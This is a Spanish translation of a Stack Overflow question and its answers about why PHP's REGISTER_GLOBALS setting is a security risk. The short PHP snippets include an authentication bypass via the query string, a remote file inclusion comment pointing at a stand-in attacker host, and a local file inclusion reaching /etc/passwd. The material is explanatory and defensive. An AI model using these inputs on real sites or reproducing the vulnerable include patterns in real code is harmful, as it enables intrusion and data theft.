Pregunta

No soy un desarrollador de PHP, pero he visto en un par de lugares que la gente parece tratarlo como una plaga o algo así. ¿Por qué?

¿Fue útil?

Solución

REGISTER_GLOBALS significa que todas las variables pasadas a través de GET o POST están disponibles como variables globales en su secuencia de comandos. Dado que acceder a variables no declaradas no es un error en PHP (es una advertencia), puede conducir a situaciones muy desagradables. Considere esto, por ejemplo:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

No es algo malo per se (el código bien diseñado no debería generar advertencias, por lo tanto, no debería acceder a ninguna variable que no esté declarada (y no debería necesitar REGISTER_GLOBALS por la misma razón)), pero el código PHP suele ser de [muy] baja calidad, lo que lleva a este tipo de agujeros de seguridad.

Otros consejos

Habilitar REGISTER_GLOBALS expone las páginas web a las que sirve PHP a las vulnerabilidades que algunos malos estarán dispuestos a explotar.

Con esto habilitado, cualquier cadena de consulta al final de la URL:

http://yourdomain/something.php?valid=true 

afectará el valor de una variable $ válida (por ejemplo) en algo.php, si existe .

Si está utilizando un código PHP disponible públicamente (una biblioteca, por ejemplo), los nombres de las variables son bien conocidos y los hackers podrían controlar sus valores mediante la asignación de valores en la cadena de consulta. Es posible que puedan omitir la autenticación.

Incluso si no está usando código público, puede ser posible adivinar los nombres de variables importantes y controlar sus valores.

Solía ??ser el valor predeterminado tener REGISTER_GLOBALS habilitado en PHP.INI

La práctica reciente ha sido deshabilitarlo por defecto. ¡Actívelo bajo su propio riesgo!

Solo para agregar, aquí hay algunas situaciones en las que tener REGISTER_GLOBALS habilitado podría arruinar tu día:

Usar la cadena de consulta para omitir el control de acceso (piratear usando http://example.com/ ? login = 1 ):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Inclusión remota de archivos (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Inclusión de archivos locales (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Porque permite al usuario inyectar cualquier variable global en su código sin ningún control.

Según la calidad del código, puede introducir errores de seguridad importantes.

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top